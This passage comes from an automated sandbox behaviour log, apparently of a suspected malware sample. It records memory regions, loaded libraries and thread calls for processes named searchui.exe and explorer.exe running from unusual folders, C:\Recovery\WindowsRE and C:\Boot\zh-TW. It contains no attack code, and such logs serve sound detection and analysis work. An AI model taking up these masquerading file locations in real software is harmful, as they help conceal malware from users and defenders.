end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 10595 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Thread: id = 209 os_tid = 0xc70 [0246.248] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0266.840] RoInitialize () returned 0x1 [0266.840] RoUninitialize () returned 0x0 Thread: id = 227 os_tid = 0xcf4 Thread: id = 287 os_tid = 0x1270 Thread: id = 303 os_tid = 0xbd0 [0266.841] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0266.841] RoInitialize () returned 0x1 [0266.841] RoUninitialize () returned 0x0 Thread: id = 344 os_tid = 0xf9c Thread: id = 350 os_tid = 0xfd0 Thread: id = 369 os_tid = 0x1168 Process: id = "42" image_name = "searchui.exe" filename = "c:\\recovery\\windowsre\\searchui.exe" page_root = "0x30ec5000" os_pid = "0xca0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x358" cmd_line = "C:\\Recovery\\WindowsRE\\SearchUI.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4238 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4239 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4240 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4241 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 4242 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4243 start_va = 0x3a0000 end_va = 0x599fff monitored = 1 entry_point = 0x59131e region_type = mapped_file name = "searchui.exe" filename = "\\Recovery\\WindowsRE\\SearchUI.exe" (normalized: "c:\\recovery\\windowsre\\searchui.exe") Region: id = 4244 start_va = 0x600000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 4245 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4246 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 4247 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4311 start_va = 0x170000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4312 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4313 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4314 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4315 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4316 start_va = 0x7ff5ffed0000 end_va = 0x7ff5fffcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffed0000" filename = "" Region: id = 4317 start_va = 0x2a0000 end_va = 0x35dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4318 start_va = 0x5a0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 4319 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4320 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4321 start_va = 0x7ff5ffe50000 end_va = 0x7ff5ffecdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4373 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4374 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4375 start_va = 0x800000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 4376 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4377 start_va = 0x1a0000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4378 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4379 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4380 start_va = 0x900000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 4381 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 4706 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5196 start_va = 0x7ffa7b220000 end_va = 0x7ffa7b271fff monitored = 0 entry_point = 0x7ffa7b22f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5197 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5198 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5199 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5200 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5201 start_va = 0x360000 end_va = 0x398fff monitored = 0 entry_point = 0x3612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5202 start_va = 0x900000 end_va = 0xa87fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000900000" filename = "" Region: id = 5203 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 5204 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 6529 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6530 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 6531 start_va = 0xad0000 end_va = 0xc50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 6532 start_va = 0xc60000 end_va = 0x205ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c60000" filename = "" Region: id = 6533 start_va = 0x2060000 end_va = 0x2252fff monitored = 1 entry_point = 0x225131e region_type = mapped_file name = "searchui.exe" filename = "\\Recovery\\WindowsRE\\SearchUI.exe" (normalized: "c:\\recovery\\windowsre\\searchui.exe") Region: id = 6534 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6535 start_va = 0x7ffa76d30000 end_va = 0x7ffa76d39fff monitored = 0 entry_point = 0x7ffa76d31350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6536 start_va = 0x7ffa5e8d0000 end_va = 0x7ffa5f2b5fff monitored = 1 entry_point = 0x7ffa5e8d5b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6568 start_va = 0x7ffa623c0000 end_va = 0x7ffa624b6fff monitored = 0 entry_point = 0x7ffa623e4d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6814 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 6815 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 6816 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 6817 start_va = 0x7ff9ff1c0000 end_va = 0x7ff9ff1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1c0000" filename = "" Region: id = 6818 start_va = 0x7ff9ff1d0000 end_va = 0x7ff9ff1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1d0000" filename = "" Region: id = 7089 start_va = 0x7ff9ff1e0000 end_va = 0x7ff9ff26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff1e0000" filename = "" Region: id = 7090 start_va = 0x7ff9ff270000 end_va = 0x7ff9ff2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff270000" filename = "" Region: id = 7091 start_va = 0x5a0000 end_va = 0x5a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 7092 start_va = 0x5f0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 7093 start_va = 0x5b0000 end_va = 0x5b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 7094 start_va = 0x2060000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 7095 start_va = 0x2060000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 7096 start_va = 0x21d0000 end_va = 0x21dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021d0000" filename = "" Region: id = 7097 start_va = 0x2060000 end_va = 0x215ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002060000" filename = "" Region: id = 7098 start_va = 0x21a0000 end_va = 0x21affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021a0000" filename = "" Region: id = 7099 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 7100 start_va = 0x21e0000 end_va = 0x1a1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021e0000" filename = "" Region: id = 7205 start_va = 0x1a1e0000 end_va = 0x1a54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a1e0000" filename = "" Region: id = 7206 start_va = 0x1a550000 end_va = 0x1a659fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a550000" filename = "" Region: id = 7207 start_va = 0x7ffa7a990000 end_va = 0x7ffa7a997fff monitored = 0 entry_point = 0x7ffa7a9910b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 7208 start_va = 0x1a660000 end_va = 0x1a75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a660000" filename = "" Region: id = 9353 start_va = 0x1a760000 end_va = 0x1a85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a760000" filename = "" Region: id = 9354 start_va = 0x1a860000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a860000" filename = "" Region: id = 9501 start_va = 0x1a960000 end_va = 0x1ac96fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 9782 start_va = 0x7ffa5d3e0000 end_va = 0x7ffa5e8c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 9945 start_va = 0x7ffa7b290000 end_va = 0x7ffa7b3d2fff monitored = 0 entry_point = 0x7ffa7b2b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 9946 start_va = 0x800000 end_va = 0x8bffff monitored = 0 entry_point = 0x820da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9947 start_va = 0x800000 end_va = 0x8dcfff monitored = 0 entry_point = 0x85e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10325 start_va = 0x7ffa76e20000 end_va = 0x7ffa76eb5fff monitored = 0 entry_point = 0x7ffa76e45570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10326 start_va = 0x5c0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 10327 start_va = 0x7ff5ffe30000 end_va = 0x7ff5ffecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffe30000" filename = "" Region: id = 10328 start_va = 0x7ff5ffe20000 end_va = 0x7ff5ffe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ffe20000" filename = "" Region: id = 10333 start_va = 0x7ff9ff2e0000 end_va = 0x7ff9ff2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2e0000" filename = "" Region: id = 10334 start_va = 0x7ff9ff2f0000 end_va = 0x7ff9ff2fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff2f0000" filename = "" Region: id = 10352 start_va = 0x7ff9ff300000 end_va = 0x7ff9ff33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff9ff300000" filename = "" Region: id = 10357 start_va = 0x7ffa621f0000 end_va = 0x7ffa622fdfff monitored = 1 entry_point = 0x7ffa621f1080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 10358 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10359 start_va = 0x1aca0000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aca0000" filename = "" Region: id = 10360 start_va = 0x5c0000 end_va = 0x5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 10361 start_va = 0x5d0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005d0000" filename = "" Region: id = 10431 start_va = 0x7ffa5c790000 end_va = 0x7ffa5d3d3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 10445 start_va = 0x7ffa5be00000 end_va = 0x7ffa5c781fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 10492 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10493 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10494 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10495 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10514 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10515 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 10556 start_va = 0x1ada0000 end_va = 0x1af9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 10564 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 10596 start_va = 0x5e0000 end_va = 0x5effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Thread: id = 212 os_tid = 0xca4 [0246.290] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0266.885] RoInitialize () returned 0x1 [0266.886] RoUninitialize () returned 0x0 Thread: id = 230 os_tid = 0x10b8 Thread: id = 286 os_tid = 0xae8 Thread: id = 301 os_tid = 0x438 [0266.886] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0266.886] RoInitialize () returned 0x1 [0266.886] RoUninitialize () returned 0x0 Thread: id = 345 os_tid = 0xf70 Thread: id = 349 os_tid = 0xfe4 Thread: id = 370 os_tid = 0x188 Process: id = "43" image_name = "explorer.exe" filename = "c:\\boot\\zh-tw\\explorer.exe" page_root = "0x317fe000" os_pid = "0x10c0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "37" os_parent_pid = "0xc34" cmd_line = "\"C:\\Boot\\zh-TW\\explorer.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4384 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4385 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4386 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 4387 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 4388 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4389 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4390 start_va = 0x6b0000 end_va = 0x8a9fff monitored = 1 entry_point = 0x8a131e region_type = mapped_file name = "explorer.exe" filename = "\\Boot\\zh-TW\\explorer.exe" (normalized: "c:\\boot\\zh-tw\\explorer.exe") Region: id = 4391 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4392 start_va = 0x7ff5ff110000 end_va = 0x7ff5ff132fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff110000" filename = "" Region: id = 4393 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4394 start_va = 0x400000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4395 start_va = 0x7ffa61fc0000 end_va = 0x7ffa62027fff monitored = 1 entry_point = 0x7ffa61fc4970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4396 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4397 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4398 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4399 start_va = 0x7ff5ff010000 end_va = 0x7ff5ff10ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff010000" filename = "" Region: id = 4400 start_va = 0x170000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4401 start_va = 0x530000 end_va = 0x5edfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4402 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4403 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4404 start_va = 0x7ff5fef90000 end_va = 0x7ff5ff00dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4405 start_va = 0x7ffa7bdd0000 end_va = 0x7ffa7be76fff monitored = 0 entry_point = 0x7ffa7bde58d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4406 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4407 start_va = 0x8b0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 4408 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4409 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4410 start_va = 0x170000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4411 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4412 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4413 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 4414 start_va = 0x7ffa624c0000 end_va = 0x7ffa6255cfff monitored = 1 entry_point = 0x7ffa624c1010 region_type = mapped_file name = "mscoreei.dll" filename = 